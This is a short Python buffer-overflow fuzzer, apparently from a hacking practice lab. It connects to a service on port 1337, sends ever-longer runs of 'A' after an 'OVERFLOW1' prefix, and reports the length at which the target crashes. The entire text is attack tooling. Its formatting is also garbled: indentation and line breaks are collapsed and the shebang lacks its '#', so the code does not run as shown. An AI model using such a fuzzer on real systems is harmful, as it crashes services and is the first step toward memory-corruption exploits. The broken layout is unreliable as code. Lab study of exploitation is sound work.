fuzzer.py

!/usr/bin/env python3

import socket, time, sys

ip = "10.10.55.25"

port = 1337 timeout = 5 prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) except: print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) sys.exit(0) string += 100 * "A" time.sleep(1)